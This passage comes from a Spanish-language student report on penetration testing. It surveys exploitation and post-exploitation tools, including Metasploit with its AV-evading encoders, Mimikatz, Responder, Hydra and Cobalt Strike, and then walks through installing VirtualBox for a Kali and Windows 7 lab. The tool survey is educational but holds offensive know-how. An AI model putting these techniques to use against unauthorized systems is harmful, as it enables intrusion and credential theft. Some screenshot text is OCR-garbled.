de exploits. En esta demostracion, utilizando un entorno de prueba con Kali Linux como
atacante y Metasploitable 3 como objetivo, se efectlia un escaneo de puertos para evaluar
las posibles rutas de acceso al sistema comprometido (Cunha, 2023a).

Acunetix: Es un escéaner de seguridad automatizado para aplicaciones web que identifica
vulnerabilidades especificas de la web, como inyecciones, ataques XSS y configuraciones
erroneas.

Es un escaner de vulnerabilidades web creado en 2005, es conocido por ser mas veloz que

otras herramientas gracias a su motor programado en C++. Esta herramienta automatizada realiza
escaneos web en diferentes modos y es compatible con sistemas operativos como Windows y
Linux, con una version para Mac en desarrollo. Acunetix emplea las tecnologias AcuMonitor y
AcuSensor para identificar vulnerabilidades en el codigo fuente, y cuenta con versiones premium
que facilitan su integracion en el ciclo de vida del desarrollo de software (SDLC) (North

Networks., 2024).

Nmap: Aunque se usa principalmente para el escaneo de redes, Nmap también puede
identificar servicios y sus versiones, lo que ayuda a detectar vulnerabilidades relacionadas

con software obsoleto (Alcarria, 2024).
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Esta fase no solo permite comprender mejor las debilidades del sistema, sino que también
prepara el terreno para una explotacion efectiva en las etapas posteriores del proceso. Por ello,
estas herramientas son fundamentales para llevar a cabo un analisis exhaustivo de las
vulnerabilidades en los sistemas, facilitando la identificacion y documentacion de fallas que
podrian ser explotadas en fases siguientes del pentesting (Alcarria, 2024).

Fase 5: Explotacion

Durante la fase de explotacion, el objetivo es acceder al sistema mediante la utilizacion de
las vulnerabilidades identificadas en etapas anteriores. Esta fase puede implicar la implementacion
de exploits o el uso de credenciales que se hayan obtenido previamente. La fase de explotacion
puede contar con una variedad aun mayor de herramientas, dependiendo de las técnicas que se
utilicen y del tipo de sistema que se esté evaluando estas son:

= Metasploit Framework: Una de las herramientas mas completas para la explotacion de
vulnerabilidades, que proporciona modulos para ejecutar exploits y post explotacion

(Cunha, 2023a).

= Burp Suite: Herramienta fundamental para pruebas de seguridad en aplicaciones web, que
permite realizar ataques de inyeccion y explotacion de vulnerabilidades.

= Sglmap: Un potente escaner y Exploit para detectar y explotar vulnerabilidades de
inyeccion SQL de manera automatizada (Tarlogic Security, 2024).

= Ettercap: Una herramienta de ataque en red que permite realizar ataques de intermediario
(MITM), facilitando la captura de trafico y la inyeccion de exploits (Elhacker.NET, 2021).

= Empire: Un marco de post explotacion que permite ejecutar ataques de Powershell y

manejar sesiones en sistemas comprometidos (Chema, 2016).
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Social-Engineer Toolkit (SET): Herramienta disefiada para realizar ataques de ingenieria
social, que pueden ser utilizados para obtener credenciales o informacion sensible
(Cilleruelo, 2022a).

Cobalt Strike: Una herramienta avanzada para simulaciones de ataques y post explotacion
que incluye capacidades de control remoto (Fortra, s. f.).

Responder: es una herramienta de pentesting desarrollada por SpiderLabs para auditorias
en entornos Windows, orientada a capturar credenciales y hashes mediante ataques como
LLMNR Poisoning, NBT-NS Poisoning, ICMP Redirect y DHCP Inform. La herramienta
permite manipular configuraciones y ejecutar ataques que redirigen el trafico hacia el
atacante. Ademas, utiliza servidores falsos de autenticacion para capturar credenciales en
diversos protocolos, y ofrece un modo Analyzer para un descubrimiento pasivo de la red
sin intervenir en las comunicaciones (Che, 2015).

Hydra: es una herramienta de auditoria de inicio de sesién que permite realizar ataques de
fuerza bruta y diccionario contra multiples protocolos de autenticacion, trabajando de
manera rapida y flexible con la capacidad de agregar nuevos modulos facilmente. Soporta
una amplia gama de protocolos, incluidos FTP, HTTP, SSH y muchos mas. Este articulo
detalla como los investigadores y consultores de seguridad pueden demostrar lo sencillo
que seria acceder de manera no autorizada a sistemas remotos utilizando Hydra (Kolibérs
Group, 2021).

Netcat: es una herramienta de red de codigo abierto, considerada la "navaja suiza™ para
hackers, que funciona en sistemas UNIX, Microsoft y Apple. Permite abrir puertos
TCP/UDP, asociar Shell a puertos especificos para acceder de manera remota, y forzar

conexiones TCP/UDP. Su versatilidad la hace ideal para realizar rastreos de puertos y
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transferencias de archivos entre equipos (Ejercicios Docencia, 2021).

Wireshark: Aunque se usa principalmente para el andlisis de trafico, también se puede
utilizar para capturar y analizar datos durante un ataque (Altube, 2021).

Nessus: Aunque es principalmente un escaner de vulnerabilidades, puede proporcionar
informacion util para determinar si ciertas vulnerabilidades son explotables (Alcarria,

2024).

Fase 6: Post-Explotacion

Una vez que se ha logrado el acceso al sistema, se procede a evaluar el impacto de la brecha

de seguridad. En esta fase, se demuestra al cliente la gravedad de la vulnerabilidad identificada,

destacando el acceso obtenido a recursos criticos 0 a datos sensibles. Se analiza la cadena de

elevacidn de privilegios para entender hasta donde puede llegar un atacante dentro del entorno

comprometido y se evalua el alcance total de la intrusion (Alcarria, 2024).

Herramientas Comunes:

Mimikatz: Permite extraer credenciales de usuarios y gestionar el acceso a recursos
(Cilleruelo, 2022a).

Empire: Facilita la ejecucion de comandos y scripts en sistemas comprometidos,
ofreciendo capacidades de post explotacién avanzadas (Chema, 2016).

Cobalt Strike: Proporciona un entorno para simulaciones de ataque y control de sistemas
una vez que se ha logrado la explotacion (Fortra, s. f.)..

Netcat: Utilizado para establecer conexiones y transferir datos, puede ser clave para la
comunicacion post explotacion (Ejercicios Docencia, 2021).

SQLMap: En casos donde se compromete una base de datos, SQLMap puede ser til para

extraer informacion sensible o realizar ataques adicionales (Canosa, 2017).
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e Kali Linux: No es una herramienta en si, sino un sistema operativo que incluye una gran
cantidad de herramientas para pruebas de penetracion, incluyendo opciones para post
explotacion (Ciberseguridad, s. f.).
Fase 7: Informe

Finalmente, se elabora y presenta un informe exhaustivo al cliente que resume los hallazgos
de la auditoria. Este documento detalla las vulnerabilidades identificadas y evalla la gravedad de
los riesgos asociados. Es crucial que el informe no solo resalte las debilidades encontradas, sino
que también identifique las areas donde la seguridad se ha implementado de manera efectiva.

Ademas, el informe debe incluir recomendaciones claras y préacticas para fortalecer la
postura de seguridad de la organizacién. Estas sugerencias deben ser especificas y prioritarias,
permitiendo a la empresa abordar las vulnerabilidades de manera sistemética y mejorar su defensa
contra futuras amenazas (Cyberzaintza, s. f.).
Las herramientas de ciberseguridad son de vital importancia, ademas que existe un gran
abanico de posibilidades de herramientas existentes y software especializado para
desarrollar herramientas propias. Usted como futuro experto debe definir y explicar las
siguientes herramientas:
Metasploit

Metasploit es un marco de trabajo integral para pruebas de penetracion y auditorias de
seguridad, desarrollado en lenguajes como Perl y Ruby. Su objetivo principal es ayudar a los
profesionales de la seguridad a identificar y mitigar vulnerabilidades en sistemas, aunque también
puede ser utilizado de manera maliciosa por ciberdelincuentes. A continuacion, se describen sus

caracteristicas principales:
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1. Arquitectura Modular

Metasploit se basa en una arquitectura modular que permite a los usuarios utilizar
diferentes componentes para realizar pruebas de seguridad especificas. Esto incluye:

e Moddulos de Explotacion: Cadigos disefiados para aprovechar vulnerabilidades conocidas
en sistemas, aplicaciones y redes. Cada mddulo se asocia con una vulnerabilidad especifica
y se denomina "Payloads" (carga Util), que se ejecuta una vez que se ha explotado la
vulnerabilidad (Cilleruelo, 2022a).

e Tipos de Mdédulos:

o Exploits de Aplicaciones Web: Apuntan a vulnerabilidades en aplicaciones, como
inyecciones SQL o problemas de validacion de entrada.

o Exploits de Sistemas Operativos: Se dirigen a vulnerabilidades en sistemas
operativos especificos, permitiendo el acceso no autorizado o la ejecucion de
cddigo arbitrario (Cilleruelo, 2022a).

2. Modulos Codificadores
Metasploit también incluye modulos codificadores, que modifican las cargas Utiles antes
de ser enviadas al sistema objetivo. Su funcion principal es ayudar a evadir la deteccion por
antivirus y sistemas de seguridad, utilizando técnicas como:
o Ofuscacion: Modificacion del codigo de la carga util para ocultar su verdadera naturaleza.
o Cifrado: Transformacion de la carga util en un formato no legible por soluciones de
seguridad.
3. Flexibilidad y Personalizacién
Los usuarios pueden crear sus propios modulos y personalizar los existentes, lo que permite

un enfoque adaptado a diferentes escenarios. Esto incluye el desarrollo de nuevos exploits en
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funcién de vulnerabilidades recién descubiertas y la configuracion de Payloads para maximizar su
efectividad (Cilleruelo, 2022a).
4. Integracion de Herramientas
Metasploit se puede integrar facilmente con otras herramientas de seguridad, como Nmap
para escanear redes y recopilar informacion sobre los dispositivos conectados, lo que facilita la
identificacion de objetivos para los exploits (Cilleruelo, 2022a).
5. Base de Datos de Vulnerabilidades
Incluye una extensa base de datos que proporciona informacién sobre vulnerabilidades
conocidas. Esta base se actualiza continuamente para incluir nuevas vulnerabilidades y exploits,
asegurando que los usuarios tengan acceso a la informacion mas reciente (Cilleruelo, 2022a)..
6. Interfaz de Usuario Amigable
Metasploit ofrece multiples interfaces para facilitar su uso:
o msfconsole: La interfaz de linea de comandos que proporciona acceso completo a todas
las funcionalidades de Metasploit (Cilleruelo, 2022a)..
e Armitage: Una interfaz grafica que simplifica el uso del marco y permite a los usuarios
realizar ataques y visualizar resultados de manera intuitiva (Cilleruelo, 2022a)..
e Metasploit Community y Pro: Versiones comerciales que ofrecen caracteristicas
adicionales, como informes automaticos y gestion de equipos (Cilleruelo, 2022a)..
7. Soporte para Multiples Plataformas
Metasploit es compatible con varios sistemas operativos, incluyendo Windows, Linux y
macOS, lo que permite realizar pruebas de penetracion en una variedad de entornos (Cilleruelo,

2022a).
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8. Capacidades de Post-Explotacion

Metasploit incluye funcionalidades avanzadas de post explotacidn a traves de Meterpreter,
que permite:

e Interaccion Remota: Controlar el sistema comprometido de forma remota, ejecutar
comandos y scripts, y obtener informacion critica del sistema.
e Gestion de Sesiones: Facilitar la gestion de mdaltiples sesiones de Meterpreter

simultaneamente (Cyberzaintza, s. f.).

9. Protocolo SMB (Server Message Block)

SMB es un protocolo utilizado para compartir archivos y recursos en redes locales,
especialmente en entornos Windows. Las vulnerabilidades en SMB son de interés para los
pentesters, y Metasploit incluye mddulos especificos para explotarlas, como los asociados a
EternalBlue (IONOS, 2020)

Nmap

Network Mapper es una herramienta de cddigo abierto ampliamente utilizada para la
exploracion de redes y auditorias de seguridad. Su capacidad para descubrir dispositivos y
servicios en una red lo convierte en un recurso esencial para profesionales de la ciberseguridad y
administradores de sistemas (Alcarria, 2024).

Entre sus principales Caracteristicas Principales encontramos:
1. Exploracién de Redes:

Nmap utiliza paquetes IP para identificar qué dispositivos estan disponibles en la red, lo

que permite a los usuarios mapear la topologia de la red y comprender mejor su estructura

(Alcarria, 2024).
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Puede detectar dispositivos conectados a la red, incluyendo computadoras, routers,
switches y servidores (Alcarria, 2024).

Deteccion de Servicios:

La herramienta permite identificar los servicios en ejecucién en los dispositivos detectados,
proporcionando detalles como el nombre y la version de las aplicaciones (Alcarria, 2024).
Esta capacidad es crucial para identificar posibles vulnerabilidades asociadas con versiones
especificas de software (Alcarria, 2024).

Identificacion de Sistemas Operativos:

Nmap puede determinar el sistema operativo que esta ejecutando un dispositivo mediante
el andlisis de la respuesta a los paquetes enviados.

Esta informacion es valiosa para los pentesters, ya que diferentes sistemas operativos
pueden tener diferentes vulnerabilidades y configuraciones de seguridad (Alcarria, 2024).
Deteccion de Cortafuegos y Filtros:

Nmap tiene la capacidad de identificar los tipos de cortafuegos que estan en ejecucion en
un dispositivo, lo que ayuda a los usuarios a comprender como se estan protegiendo los
sistemas.

Al conocer el tipo de filtrado implementado, los profesionales de la seguridad pueden
adaptar sus enfoques de prueba de penetracion para maximizar la efectividad de sus ataques
(Alcarria, 2024).

Opciones de Escaneo Avanzadas:

Nmap ofrece multiples opciones de escaneo, que incluyen escaneos TCP, UDP y de ping,
asi como opciones para escaneos mas sigilosos que ayudan a evitar la deteccion.

Los usuarios pueden personalizar sus escaneos segun sus necesidades especificas,
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eligiendo entre una variedad de técnicas y parametros (Alcarria, 2024).
6. Soporte para Scripts:
o Nmap incluye el motor de scripts Nmap Scripting Engine (NSE), que permite a los usuarios
escribir y ejecutar scripts para realizar tareas adicionales, como la deteccion de
vulnerabilidades y la ejecucidn de pruebas especificas.
o Esto amplia significativamente la funcionalidad de Nmap, permitiendo a los usuarios
realizar auditorias mas complejas y detalladas (Alcarria, 2024).
7. Usos Comunes:
e Auditorias de Seguridad: Los auditores de seguridad utilizan Nmap para identificar
dispositivos, servicios y configuraciones de seguridad, lo que les permite detectar posibles
vulnerabilidades en la red.
e Administracion de Redes: Los administradores de sistemas utilizan Nmap para supervisar
y gestionar redes, asegurando que todos los dispositivos estén actualizados y correctamente
configurados.
e Investigacion de Incidentes: En caso de un incidente de seguridad, Nmap se puede utilizar
para analizar la red y determinar el alcance de una brecha (Nmap, s. f.-a).
OpenVAS

(Open Vulnerability Assessment Scanner) es un marco de trabajo de cddigo abierto
disefiado para la evaluacion y escaneo de vulnerabilidades. Esta herramienta es ampliamente
utilizada para detectar y gestionar problemas de seguridad en sistemas y redes, ofreciendo una

solucion efectiva y de bajo riesgo para los usuarios (Micucci, 2023).
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Las Caracteristicas Principales de OpenVAS son:

1. Escaneo de Vulnerabilidades:

= OpenVAS permite realizar escaneos exhaustivos para identificar diferentes tipos de
vulnerabilidades en sistemas, aplicaciones y dispositivos de red.

= La herramienta es capaz de detectar fallos de seguridad conocidos y configuraciones
incorrectas que podrian ser explotadas por atacantes (Micucci, 2023).

2. Multiplataforma y Protocolo:

= OpenVAS tiene la capacidad de examinar maltiples protocolos de Internet y protocolos
industriales, tanto de alto como de bajo nivel. Esto lo hace versatil para su uso en diversas
infraestructuras.

= Puede analizar sistemas que funcionan con protocolos como HTTP, HTTPS, FTP, SSH,
SNMP y muchos mas (Micucci, 2023).

3. Amplia Base de Datos de Vulnerabilidades:

= Utiliza una extensa base de datos que contiene informacion sobre vulnerabilidades
conocidas, actualizada regularmente para incluir las Ultimas amenazas y exploits.

= OpenVAS se basa en el formato de vulnerabilidades CVE (Common Vulnerabilities and
Exposures), lo que garantiza que los usuarios reciban informacion precisay relevante sobre
cada vulnerabilidad detectada (Micucci, 2023).

4. Interfaz de Usuario Intuitiva:

= OpenVAS cuenta con una interfaz grafica de usuario (GUI) que facilita la navegacion y la
ejecucion de escaneos, lo que permite a los usuarios menos experimentados utilizar la

herramienta sin complicaciones.
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También ofrece una interfaz de linea de comandos para aquellos que prefieren una
interaccion mas técnica y directa (Micucci, 2023).

Gestion de Resultados y Reportes:

Después de completar un escaneo, OpenVAS proporciona informes detallados que
incluyen una descripcion de las vulnerabilidades detectadas, su gravedad, y
recomendaciones para su mitigacion.

Los informes se pueden personalizar y exportar en varios formatos, lo que facilita su uso
en auditorias y presentaciones a la direccion (Micucci, 2023).

Integracion y Automatizacion:

OpenVAS se puede integrar con otras herramientas de seguridad y sistemas de gestion de
vulnerabilidades, lo que mejora su funcionalidad y permite una gestion mas eficaz de los
problemas de seguridad.

También permite la automatizacion de escaneos programados, lo que ayuda a mantener un
control constante sobre la seguridad de la infraestructura (Micucci, 2023).

Usos Comunes:

Auditorias de Seguridad: Utilizado por profesionales de la ciberseguridad para evaluar la
seguridad de sistemas y redes, identificando vulnerabilidades y configuraciones inseguras.
Cumplimiento Normativo: Ayuda a las organizaciones a cumplir con normativas y
estandares de seguridad al identificar y abordar vulnerabilidades en sus sistemas.
Mantenimiento Preventivo: Se utiliza para realizar escaneos regulares que permiten a las
organizaciones anticiparse a posibles problemas de seguridad (OpenVAS, s.f) &

(Micucci, 2023)
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Servicios en linea:

o ExploitDB

Es un recurso en linea que proporciona una extensa base de datos de exploits y
vulnerabilidades conocidas en sistemas informaticos. El término "Exploit" se refiere a la accion de
"explorar y aprovechar" vulnerabilidades en software o hardware para ejecutar codigo malicioso
o realizar acciones no autorizadas (Cilleruelo, 2022b).

ExploitDB redne un conjunto de comandos y técnicas que pueden ser utilizados para
explotar vulnerabilidades detectadas en un sistema, permitiendo a los atacantes ejecutar
operaciones que no son deseadas ni permitidas por los propietarios del sistema. Este recurso es
invaluable tanto para profesionales de la ciberseguridad, que buscan identificar y mitigar riesgos,
como para ciberdelincuentes que buscan explotar sistemas vulnerables (Cilleruelo, 2022b)

La plataforma incluye:

v' Explosivos Documentados: Un registro detallado de exploits organizados por tipo de
vulnerabilidad, lo que facilita la busqueda y referencia.

v’ Articulos y Tutoriales: Recursos educativos que ayudan a entender mejor las técnicas de
explotacion y cdmo protegerse contra ellas.

v Actualizaciones Regulares: Una base de datos que se actualiza continuamente con nuevos
exploits y vulnerabilidades, asegurando que los usuarios tengan acceso a la informacion
mas reciente y relevante (Cilleruelo, 2022b)

e Puntos Vulnerables y Exposiciones Comunes (CVE)

Son una lista accesible al publico que documenta fallas de seguridad en sistemas
informéticos. Cuando se menciona un CVE, se hace referencia a una vulnerabilidad especifica

que ha sido asignada un namero de identificacion anico (RedHat, 2021).
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Los proveedores de software y los investigadores en seguridad frecuentemente incluyen

al menos uno de estos identificadores en sus alertas de seguridad. Los CVE son esenciales para

que los profesionales de TI coordinen sus esfuerzos en identificar, priorizar y corregir

vulnerabilidades, lo que les permite fortalecer la seguridad de los sistemas informaticos (RedHat,

2021)

Ventajas de los CVE:

Los CVE son cruciales para la supervision continua de la seguridad porque auditan y

salvaguardan los sistemas y fomentan una cultura de confianza digital. Esto se fundamenta en:

o

K/
L X4

Colaboracion Efectiva: Facilitan la cooperaciéon entre los equipos de seguridad al
proporcionar informacion sobre vulnerabilidades especificas.

Priorizacion de Amenazas: Ayudan a los especialistas a decidir cuales vulnerabilidades
deben abordarse primero, segun su gravedad y el impacto que podrian tener en la seguridad.
Registro de Vulnerabilidades: Ofrecen un sistema centralizado que facilita el seguimiento
y la gestidn de las vulnerabilidades a lo largo del tiempo.

Identificacidn y concienciacion: Los expertos en seguridad han llegado a utilizar los CVE
como vocabulario estandar para reconocer y discutir rapidamente las vulnerabilidades.
Priorizacion: Los estrategas de seguridad pueden utilizar los CVE para clasificar las
vulnerabilidades en funcién de su efecto potencial y gravedad.

Gestion de parches: Las referencias a los CVE ayudan a encontrar y aplicar actualizaciones
0 correcciones de las vulnerabilidades.

Mitigacion de riesgos: Las organizaciones pueden reducir su superficie de ataque y
disminuir las posibilidades de que se produzcan incidentes de seguridad corrigiendo las CVE

conocidas.

45



La colaboracion también es crucial. El sistema CVE fomenta el conocimiento y la
cooperacion entre investigadores, proveedores y organizaciones de seguridad, lo que puede
dar lugar a que las vulnerabilidades o exposiciones se solucionen con mayor rapidez (Cerén,
2023)

INSTALACION Y CONFIGURACION DEL BANCO DE TRABAJO

Para finalizar esta actividad es importante que usted reconozca, analice y configure “banco
de trabajo” lo solicitado en el anexo 1 — Escenario 1 sobre el cual deberd trabajar actividades que
contienen un alto grado de tecnicidad. Lo solicitado en el anexo 1 — escenario 1 es lo siguiente:
Paso A: Descargar la herramienta virtualizadora “VirtualBox” en su ultima version.
Inicio del proceso para implementar el software VirtualBox

llustracion 1 Descarga de VirtualBox

Y,g VirtualBox Home Download Documentation Community ®

Download VirtualBox

The VirtualBox Extension Pack is available for personal and educational use on this page under the PUEL license. The VirtualBox Extension Pack Is also
available under commercial or enterprise terms. By downloading, you agree to the terms and conditions of the respective license.

/ irtualBox Platform Packages VirtualBox Extension Pack
VirtualBox 7.1.2 platform packages VirtualBox 7.1.2 Extension Pack
Windows hosts This VirtualBox Extension Pack Personal Use and Educational License
P — governs your access to and use of the VirtualBox Extension Pack. It does
macos / Intel hosts not apply to the VirtualBox base package and/or its source code, which are
macOs / Apple Silicon hosts licensed under version 3 of the GNU General Public License "GPL").
[] Linux distributions See our FAQ for answers to common questions.
»f i
Cebnliee VirtualBox Extension Pack Personal Use and Educational License

Solaris 11 IPS hosts

\ Platform packages are released under the terms of the GPL version 3
N\ N\ SN KKNNSSN

Fuente: Elaboracion propia

PUEL License FAQ Jll PUEL License Text Accept and download

La primera imagen muestra la pagina oficial de VirtualBox, donde el usuario debe
seleccionar la version adecuada segun su sistema operativo (Windows, Mac, Linux). Es
importante asegurarse de descargar la version correcta para evitar incompatibilidades durante la
instalacion. El boton de descarga estara claramente visible, y una vez seleccionado, el archivo

comenzara a descargarse en el equipo.
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llustracién 2 Proceso de instalacion de VirtualBox

cle VirtualBox 7.1.2 Setup 3

Welcome to the Oracle
VirtualBox 7.1.2 Setup
Wizard

The Setup Wizard will install Oracle VirtualBox 7.1.2 on your
computer. Click Mext to continue or Cancel to exit the Setup
Wizard.

74 Version 7.1.2 Cancel

Fuente: Elaboracion propia
Al ejecutar el instalador descargado, se abre el asistente de instalacion de VirtualBox. En
esta ventana inicial, se presenta una bienvenida y el usuario puede hacer clic en “Next”
(Siguiente) para avanzar. Este paso marca el comienzo de la instalacion guiada del software en
el equipo. Es recomendable cerrar otros programas para evitar interferencias.

llustracién 3 Aceptacion de términos de licencia

™ Oracle VirtualBox 7.1.2 License Agreement X

End-User License Agreement

I- Please read the following license agreement carefully.

COPYING file for VirtualBox versions 7.0 and later versions that
include this file |

Preliminary notes:

1) The majority of the code in the VirtualBox base package is licensed r
under the GNU General Public License, version 3 (GPL). VirtualBox
contain s many components developed by Oracle and various third
parties. The license for each component is located in the licensing

I © 1 accept the terms in the License Agreement I

() 1do not accept the terms in the License Agreement

Version 7.1.2 < Back Next = Cancel

Fuente: Elaboracion propia
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En este punto, se presenta el acuerdo de licencia de VirtualBox, que el usuario debe leer y
aceptar para continuar con la instalacion. Este contrato contiene los términos legales sobre el uso
del software. Hacer clic en "'l Agree" (Acepto) es un paso obligatorio para seguir con la instalacion.

llustracion 4 Configuracién de VirtualBox

=M Oracle VirtualBox 7.1.2 Setup

Custom Setup

Select the way you want features to be installed.

Click on the icons in the tree below to change the way features will be installed.

[=J--[&=2 -] VirtualBox Application
=3~ virtualBox USB Support
- =3~ | virtualBox Netwarking
! =3~ | VirtualBox Bridged Metwc

Oracle VirtualBox 7.1.2 application.

= -| virtualBox Host-Only Net This feature requires 213MB on your L
&3+ | VirtualBox Python Support hard drive. It has 3 of 3 subfeatures

selected. The subfeatures require
936KB on your hard drive.

Location: C:\Program Files\Oracle\VirtualBox\ Browse

version 7.1.2 Disk ysage - Cancel

I © 1 accept the terms in the License Agreement I

() Ido not accept the terms in the License Agreement

= Back Next = Cancel

Fuente: Elaboracion propia

Version 7.1.2

Esta pantalla permite al usuario personalizar los componentes que se instalaran, como
crear accesos directos en el escritorio o afiadir herramientas adicionales. El usuario puede dejar

las opciones predeterminadas si no requiere configuraciones avanzadas. Hacer clic en "Next"

(Siguiente) confirma las elecciones y continua el proceso.
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llustracion 5 Inicio proceso de instalacion del VirtualBox

o ™ Oracle VirtualBox 7.1.2 X

Warning:
Network Interfaces

Installing the Oracle VirtualBox 7.1.2 Networking feature will
reset your network connection and temporarily disconnect you
from the network.

Proceed with installation now?

Vv

Version 7.1.2 Yes No

Fuente: Elaboracion propia
Una vez configuradas las opciones, se inicia el proceso real de instalacion, donde el
software comenzara a copiar los archivos necesarios al disco duro del usuario. La barra de
progreso indica el avance del proceso, mostrando que todo se esta instalando correctamente.

llustracion 6 Inicio de la instalacion de VirtualBox

M Oracle VirtualBox 7.1.2 X

Missing Dependencies
Python Core / win32api

Installing the Oracle VirtualBox 7.1.2 Python bindings requires
the Python Core package and the win32api bindings to be
installed first.

‘When continuing the installation of the Oracle VirtualBox 7.1.2
Python bindings now, those need to be set up manually later.
Refer to the Oracle VirtualBox 7.1.2 SDK manual for more
information.

Proceed with installation nows?

Version 7.1.2

Fuente: Elaboracion propia
La imagen muestra el proceso de instalacién avanzando, con VirtualBox instalando
drivers y componentes esenciales para garantizar su correcta operacion en el sistema. El
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instalador puede solicitar permisos adicionales en esta fase, y es importante aceptar estas
solicitudes para que todos los componentes se instalen correctamente.

lustracion 7 Instalacidn de los componentes de VirtualBox

™ Oracle VirtualBox 7.1.2 Setup — X

Oracle VirtualBox 7.1.2

Flease wait while the Setup Wizard installs Oracle VirtualBox 7.1.2. This may take
several minutes.

Status:  Copying new files

Version 7.1.2 < Back Mext >

| c——
Fuente: Elaboracion propia

En este paso, se estan instalando los drivers especificos necesarios para que VirtualBox
pueda gestionar las maquinas virtuales de forma eficiente. Esto incluye controladores de red y
otros elementos esenciales que permitiran la conexion de las maquinas virtuales a Internet y a la

red del host.

llustracién 8 Proceso de instalaciéon de VirtualBox finalizado
A Oracle VirtualBox 7.1.2 Setup X

Oracle VirtualBox 7.1.2
installation is complete.

Click the Finish button to exit the Setup Wizard.

Start Oracle VirtualBox 7.1.2 after installation

Version 7.1.2 < Back Cancel

Fuente: Elaboracion propia
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La instalacion ha finalizado exitosamente, y se muestra una pantalla final del asistente.
Aqui, el usuario puede optar por lanzar VirtualBox inmediata o simplemente cerrar el asistente
haciendo clic en "Finish™ (Finalizar). El software ya esta completamente instalado y listo para ser
usado.

llustracién 9 Consola de VirtualBox

| |

IJ‘[M" Herramientas = — Ad  BRe | e S
: Preferencias  Importar Exportar  Nueva Anadir

[ jBienvenido a VirtualBox! ]

La |:ar\e izquierda de esta ventana contiene herram\entas
ta d

Puede abrir un
sando el

para mas informacion y las dltimas St

Please choose Experience Mode!

Expert Mode

By defau\t the VirtualBox GUI is hiding some options, tools and
wizard

The Basic Mode is intended for those users who are not
interested in advanced functionality and prefer a simpler,
cleaner interface.

The Expert Mode is intended for experienced users who wish
to utilize all VirtualBox functionality.

You can choose whether you are a beginner or experienced
user by selecting required option at the right. This choice can
always be changed in Global Preferences or Machine Settings
windows.

Fuente: Elaboracion propia

Esta ilustracion muestra la interfaz principal de VirtualBox una vez que el software se ha
iniciado. Desde esta consola, el usuario puede comenzar a crear y gestionar maquinas virtuales,
configurar sus caracteristicas (como memoria, CPU, almacenamiento), e instalar sistemas
operativos en ellas. Es la base para todas las acciones futuras con VirtualBox.

Paso B: Una vez se realice apertura del foro para el desarrollo de la actividad se procedera
a compartir enlace de descarga de lo requerido para el montaje del banco de trabajo, las imagenes
en formato. OVA las cuales se encuentran ya preconfiguradas para ser utilizadas en las actividades
de caracter técnico. En las imagenes. OVA existe: Un sistema operativo Windows y un sistema

operativo Kali Linux.
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Descarga del archivo OVA, para la implementacion del banco de trabajo.

llustracion 10 Proceso de descarga OVA Windows 7

i La transformada Fo ? EFE-X-JBobadilla_P. wndwe-es3-cover-F. Senales y Sistemas: Tema 3. Convolucio C £ o ;
9 0 9 ¢ Historial de descargas recientes
N 1 OneDr 0 @ Winrse00¥son
@) AbiertoOpen v

B CompartirShare @ Copiar enlaceCopy link ~ ** F CasificarSort v X 1sele Rejjeto_123456.zip

is F do Zamb: Heménde... 3 P 3 o S . 0BS-Studio-30.2.3-Windows-
i e Luis Fernando Zambrano Hemnandez. > Laboratorios Controlados > Seminario Especializado > Equip Installerexe
J Luis Femando Zambrano Hem... 133 MB » Hace 22
3 Nuestros archivosOur files B Nombre * Modificado ~ Modificado... v+ Tamafodelar.. v Inte
we  Rejjeto_123456.zip : 3 de septiembre  Luis Fenando Zam 14,6 MB & Historial de descargas completo
(V] Win7-SE2020-X64ova X | B 3¢ 3deseptiembre  LuisFemandoZam 351GB & Compartido

Fuente: Elaboracion propia

La ilustracion muestra el proceso de descarga de una imagen OVA (Open Virtualization

Appliance), que contiene un sistema operativo Windows 7 preconfigurado. El formato OVA es

muy utilizado para distribuir maquinas virtuales debido a su compatibilidad con plataformas de
virtualizacion como VirtualBox. El enlace proporcionado en el foro de actividad se utiliza para

descargar la imagen de la maquina virtual de Windows 7, que viene con una configuracion

predeterminada para facilitar la implementacion en VirtualBox. El archivo OVA contiene todas

las configuraciones de hardware necesarias.
Implementacion de la maquina virtual windows 7

llustracion 11 Inicio de importacion de la OVA de Win7

V-
s _ e Y g™ Il
jULj Herramientas jNa é: (4 v LP\} ih,w} L\_IJ
' Preferencias| |mportar [Exportar Nueva Afiadir

iBienvenido a VirtualBox!

La parte izquierda de esta ventana contiene herramientas globales y una lista de
importar, afiadir y crear nuevas MVs usando los botones carrespondientes de la
usando el botdn de elementa correspondiente. Puede presionar la tecla F1 para

dltimas noticias.

Fuente: Elaboracion propia
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En este paso, el proceso de importacion de la imagen de Windows 7 en formato OVA
comienza. En VirtualBox, se selecciona la opcion "Importar Appliance™ (maquina virtual
preconfigurada) desde el mend. Esto permite al usuario cargar el archivo OVA descargado
previamente, que contiene todos los ajustes predefinidos de la maquina virtual Windows 7.

llustracién 12 Seleccion del archivo a importar

‘5; 8 8o 2 AR 10 b A8 L

Servicio a importar

Seleccione el origen desde el que importar el servicio. Puede ser el sistema de archivos local para
importar un archive OVF o uno de los proveedores de servicio en la nube conocidos para importar la
MV.

Fuente: Sistema de archivos local

-
Seleccione un archivo desde el que importar el servicio virtualizado. VirtualBox actualmente soporta
importar servicios guardados en Open Virtualization Format (QVF). Para continuar, seleccione el archivo
a importar abajo.

a]

I Archivo: CA\Users\rodri\Downloads\Win7-SE2020-X64.ova

Ayuda Anterior Siguiente | Cancelar
Fuente: Elaboracion propia

El usuario elige el archivo OVA de Windows 7 en su equipo local. Este archivo contiene
la maquina virtual preconfigurada con el sistema operativo Windows 7. Después de seleccionarlo,

VirtualBox procedera con la configuracion inicial de la maquina. Este paso garantiza que la

maquina virtual se importe con las configuraciones predeterminadas.

53



lustracion 13 Servicio importado con éxito configuracion de la maquina

La narta iznuisrda de acta vantana rantiana harramisntac alnhalac v una licka da fadac lac méauinac virkialae v annnac da manuinas viriajes
\\3 Importar servicio virtualizado = (m] X el
1al
Preferencias de servicio
Estas son las maquinas virtuales contenidas en el servicio y las preferencias sugeridas de las maquinas virtuales

importadas de VirtualBox. Puede cambiar varias de las propiedades mostradas haciendo doble clic en los
elemenos y deshabilitar otras usando las casillas de verificaién de abajo.

Sistema virtual 1
z:; Nombre Win7-SE2020-X64
] Tipo de SO invitado B windows 7 (64-bit)
i cru 1
& raMm 4096 MB
@ ovb
£ Controlador USB
[jJ Tarjeta de sonido Audio Intel HD
(@ Adaptador de red Intel PRO/1000 MT Desktop (82540EM)
v & Controlador de almacenamiento (SATA)  AHCI
l&) Imagen de disco virtual Win7-SE2020-X64-dlisk001.vmdk
Carpeta base C:\Users\rodri\VirtualBox VMs
(1a Grupo primario /ES| Seg. DB
